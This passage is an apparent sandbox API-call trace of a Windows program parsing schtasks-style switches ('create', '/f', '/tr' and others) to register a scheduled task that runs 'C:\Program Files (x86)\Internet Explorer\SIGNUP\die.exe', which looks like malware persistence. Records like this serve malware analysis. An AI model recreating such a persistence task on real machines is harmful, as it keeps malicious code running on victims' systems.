_Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.453] lstrlenW (lpString="|d|") returned 3 [0076.453] lstrlenW (lpString="|tr|") returned 4 [0076.453] SetLastError (dwErrCode=0x490) [0076.453] lstrlenW (lpString="m") returned 1 [0076.453] lstrlenW (lpString="m") returned 1 [0076.453] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.453] lstrlenW (lpString="tr") returned 2 [0076.453] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.453] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|m|") returned 3 [0076.453] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.453] lstrlenW (lpString="|m|") returned 3 [0076.453] lstrlenW (lpString="|tr|") returned 4 [0076.453] SetLastError (dwErrCode=0x490) [0076.453] lstrlenW (lpString="i") returned 1 [0076.453] lstrlenW (lpString="i") returned 1 [0076.453] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.453] lstrlenW (lpString="tr") returned 2 [0076.453] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.454] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|i|") returned 3 [0076.454] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.454] lstrlenW (lpString="|i|") returned 3 [0076.454] lstrlenW (lpString="|tr|") returned 4 [0076.454] SetLastError (dwErrCode=0x490) [0076.454] lstrlenW (lpString="tn") returned 2 [0076.454] lstrlenW (lpString="tn") returned 2 [0076.454] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.454] lstrlenW (lpString="tr") returned 2 [0076.454] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.454] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.454] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.454] lstrlenW (lpString="|tn|") returned 4 [0076.454] lstrlenW (lpString="|tr|") returned 4 [0076.454] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0076.454] SetLastError (dwErrCode=0x490) [0076.454] lstrlenW (lpString="tr") returned 2 [0076.454] lstrlenW (lpString="tr") returned 2 [0076.454] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.454] lstrlenW (lpString="tr") returned 2 [0076.454] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.454] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.454] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.455] lstrlenW (lpString="|tr|") returned 4 [0076.455] lstrlenW (lpString="|tr|") returned 4 [0076.455] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0076.455] SetLastError (dwErrCode=0x0) [0076.455] SetLastError (dwErrCode=0x0) [0076.455] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.455] lstrlenW (lpString="-/") returned 2 [0076.455] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0076.455] SetLastError (dwErrCode=0x490) [0076.455] SetLastError (dwErrCode=0x490) [0076.455] SetLastError (dwErrCode=0x0) [0076.455] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.455] StrChrIW (lpStart="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'" [0076.455] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.455] _memicmp (_Buf1=0x3ac470, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.455] _memicmp (_Buf1=0x3ad640, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.455] SetLastError (dwErrCode=0x7a) [0076.455] SetLastError (dwErrCode=0x0) [0076.455] SetLastError (dwErrCode=0x0) [0076.455] lstrlenW (lpString="'C") returned 2 [0076.455] lstrlenW (lpString="-/") returned 2 [0076.455] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0076.455] SetLastError (dwErrCode=0x490) [0076.455] SetLastError (dwErrCode=0x490) [0076.455] SetLastError (dwErrCode=0x0) [0076.455] _memicmp (_Buf1=0x3ad6a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.455] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.456] GetProcessHeap () returned 0x390000 [0076.456] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0) returned 1 [0076.456] GetProcessHeap () returned 0x390000 [0076.456] RtlReAllocateHeap (Heap=0x390000, Flags=0xc, Ptr=0x3ad6c0, Size=0x74) returned 0x3ac3b0 [0076.456] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.456] lstrlenW (lpString=" \x09") returned 2 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0076.456] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0076.456] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0076.456] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0076.457] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0076.457] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0076.458] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0076.458] GetLastError () returned 0x0 [0076.458] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.458] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.458] SetLastError (dwErrCode=0x0) [0076.458] SetLastError (dwErrCode=0x0) [0076.458] lstrlenW (lpString="/f") returned 2 [0076.458] lstrlenW (lpString="-/") returned 2 [0076.458] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.458] lstrlenW (lpString="create") returned 6 [0076.458] lstrlenW (lpString="create") returned 6 [0076.458] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.458] lstrlenW (lpString="f") returned 1 [0076.458] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.458] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.458] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.458] lstrlenW (lpString="|create|") returned 8 [0076.458] lstrlenW (lpString="|f|") returned 3 [0076.459] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0076.459] SetLastError (dwErrCode=0x490) [0076.459] lstrlenW (lpString="?") returned 1 [0076.459] lstrlenW (lpString="?") returned 1 [0076.459] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.459] lstrlenW (lpString="f") returned 1 [0076.459] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.459] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|?|") returned 3 [0076.459] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.459] lstrlenW (lpString="|?|") returned 3 [0076.459] lstrlenW (lpString="|f|") returned 3 [0076.459] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0076.459] SetLastError (dwErrCode=0x490) [0076.459] lstrlenW (lpString="s") returned 1 [0076.459] lstrlenW (lpString="s") returned 1 [0076.459] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.459] lstrlenW (lpString="f") returned 1 [0076.459] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.459] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|s|") returned 3 [0076.459] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.459] lstrlenW (lpString="|s|") returned 3 [0076.459] lstrlenW (lpString="|f|") returned 3 [0076.459] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0076.459] SetLastError (dwErrCode=0x490) [0076.460] lstrlenW (lpString="u") returned 1 [0076.460] lstrlenW (lpString="u") returned 1 [0076.460] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.460] lstrlenW (lpString="f") returned 1 [0076.460] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.460] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|u|") returned 3 [0076.460] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.460] lstrlenW (lpString="|u|") returned 3 [0076.460] lstrlenW (lpString="|f|") returned 3 [0076.460] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0076.460] SetLastError (dwErrCode=0x490) [0076.460] lstrlenW (lpString="p") returned 1 [0076.460] lstrlenW (lpString="p") returned 1 [0076.460] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.460] lstrlenW (lpString="f") returned 1 [0076.460] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.460] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|p|") returned 3 [0076.460] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.460] lstrlenW (lpString="|p|") returned 3 [0076.461] lstrlenW (lpString="|f|") returned 3 [0076.461] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0076.461] SetLastError (dwErrCode=0x490) [0076.461] lstrlenW (lpString="ru") returned 2 [0076.461] lstrlenW (lpString="ru") returned 2 [0076.461] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.461] lstrlenW (lpString="f") returned 1 [0076.461] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.461] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ru|") returned 4 [0076.461] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.461] lstrlenW (lpString="|ru|") returned 4 [0076.461] lstrlenW (lpString="|f|") returned 3 [0076.461] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0076.461] SetLastError (dwErrCode=0x490) [0076.461] lstrlenW (lpString="rp") returned 2 [0076.461] lstrlenW (lpString="rp") returned 2 [0076.462] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.462] lstrlenW (lpString="f") returned 1 [0076.462] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.462] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|rp|") returned 4 [0076.462] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.462] lstrlenW (lpString="|rp|") returned 4 [0076.462] lstrlenW (lpString="|f|") returned 3 [0076.462] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0076.462] SetLastError (dwErrCode=0x490) [0076.462] lstrlenW (lpString="sc") returned 2 [0076.462] lstrlenW (lpString="sc") returned 2 [0076.462] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.462] lstrlenW (lpString="f") returned 1 [0076.462] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.462] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.462] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.462] lstrlenW (lpString="|sc|") returned 4 [0076.462] lstrlenW (lpString="|f|") returned 3 [0076.462] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0076.462] SetLastError (dwErrCode=0x490) [0076.462] lstrlenW (lpString="mo") returned 2 [0076.462] lstrlenW (lpString="mo") returned 2 [0076.462] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.463] lstrlenW (lpString="f") returned 1 [0076.463] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.463] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.463] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.463] lstrlenW (lpString="|mo|") returned 4 [0076.463] lstrlenW (lpString="|f|") returned 3 [0076.463] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0076.463] SetLastError (dwErrCode=0x490) [0076.463] lstrlenW (lpString="d") returned 1 [0076.463] lstrlenW (lpString="d") returned 1 [0076.463] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.463] lstrlenW (lpString="f") returned 1 [0076.463] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.463] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|d|") returned 3 [0076.463] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.463] lstrlenW (lpString="|d|") returned 3 [0076.463] lstrlenW (lpString="|f|") returned 3 [0076.463] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0076.463] SetLastError (dwErrCode=0x490) [0076.463] lstrlenW (lpString="m") returned 1 [0076.463] lstrlenW (lpString="m") returned 1 [0076.464] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.464] lstrlenW (lpString="f") returned 1 [0076.464] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.464] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|m|") returned 3 [0076.464] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.464] lstrlenW (lpString="|m|") returned 3 [0076.464] lstrlenW (lpString="|f|") returned 3 [0076.464] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0076.464] SetLastError (dwErrCode=0x490) [0076.464] lstrlenW (lpString="i") returned 1 [0076.464] lstrlenW (lpString="i") returned 1 [0076.464] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.464] lstrlenW (lpString="f") returned 1 [0076.464] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.464] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|i|") returned 3 [0076.464] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.464] lstrlenW (lpString="|i|") returned 3 [0076.464] lstrlenW (lpString="|f|") returned 3 [0076.464] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0076.464] SetLastError (dwErrCode=0x490) [0076.464] lstrlenW (lpString="tn") returned 2 [0076.464] lstrlenW (lpString="tn") returned 2 [0076.465] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.465] lstrlenW (lpString="f") returned 1 [0076.465] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.465] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.465] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.465] lstrlenW (lpString="|tn|") returned 4 [0076.465] lstrlenW (lpString="|f|") returned 3 [0076.465] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0076.465] SetLastError (dwErrCode=0x490) [0076.465] lstrlenW (lpString="tr") returned 2 [0076.465] lstrlenW (lpString="tr") returned 2 [0076.465] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.465] lstrlenW (lpString="f") returned 1 [0076.465] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.465] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.465] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.465] lstrlenW (lpString="|tr|") returned 4 [0076.465] lstrlenW (lpString="|f|") returned 3 [0076.465] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0076.465] SetLastError (dwErrCode=0x490) [0076.465] lstrlenW (lpString="st") returned 2 [0076.465] lstrlenW (lpString="st") returned 2 [0076.465] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.466] lstrlenW (lpString="f") returned 1 [0076.466] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.466] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|st|") returned 4 [0076.466] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.466] lstrlenW (lpString="|st|") returned 4 [0076.466] lstrlenW (lpString="|f|") returned 3 [0076.466] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0076.466] SetLastError (dwErrCode=0x490) [0076.466] lstrlenW (lpString="sd") returned 2 [0076.466] lstrlenW (lpString="sd") returned 2 [0076.466] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.466] lstrlenW (lpString="f") returned 1 [0076.466] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.466] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sd|") returned 4 [0076.466] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.466] lstrlenW (lpString="|sd|") returned 4 [0076.466] lstrlenW (lpString="|f|") returned 3 [0076.466] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0076.466] SetLastError (dwErrCode=0x490) [0076.466] lstrlenW (lpString="ed") returned 2 [0076.466] lstrlenW (lpString="ed") returned 2 [0076.467] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.467] lstrlenW (lpString="f") returned 1 [0076.467] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.467] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ed|") returned 4 [0076.467] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.467] lstrlenW (lpString="|ed|") returned 4 [0076.467] lstrlenW (lpString="|f|") returned 3 [0076.467] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0076.467] SetLastError (dwErrCode=0x490) [0076.467] lstrlenW (lpString="it") returned 2 [0076.467] lstrlenW (lpString="it") returned 2 [0076.467] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.467] lstrlenW (lpString="f") returned 1 [0076.467] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.467] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|it|") returned 4 [0076.467] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.467] lstrlenW (lpString="|it|") returned 4 [0076.467] lstrlenW (lpString="|f|") returned 3 [0076.467] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0076.467] SetLastError (dwErrCode=0x490) [0076.467] lstrlenW (lpString="et") returned 2 [0076.467] lstrlenW (lpString="et") returned 2 [0076.468] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.468] lstrlenW (lpString="f") returned 1 [0076.468] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.468] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|et|") returned 4 [0076.468] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.468] lstrlenW (lpString="|et|") returned 4 [0076.468] lstrlenW (lpString="|f|") returned 3 [0076.468] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0076.468] SetLastError (dwErrCode=0x490) [0076.468] lstrlenW (lpString="k") returned 1 [0076.468] lstrlenW (lpString="k") returned 1 [0076.468] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.468] lstrlenW (lpString="f") returned 1 [0076.468] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.468] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|k|") returned 3 [0076.468] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.468] lstrlenW (lpString="|k|") returned 3 [0076.468] lstrlenW (lpString="|f|") returned 3 [0076.468] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0076.468] SetLastError (dwErrCode=0x490) [0076.468] lstrlenW (lpString="du") returned 2 [0076.469] lstrlenW (lpString="du") returned 2 [0076.469] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.469] lstrlenW (lpString="f") returned 1 [0076.469] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.469] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|du|") returned 4 [0076.469] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.469] lstrlenW (lpString="|du|") returned 4 [0076.469] 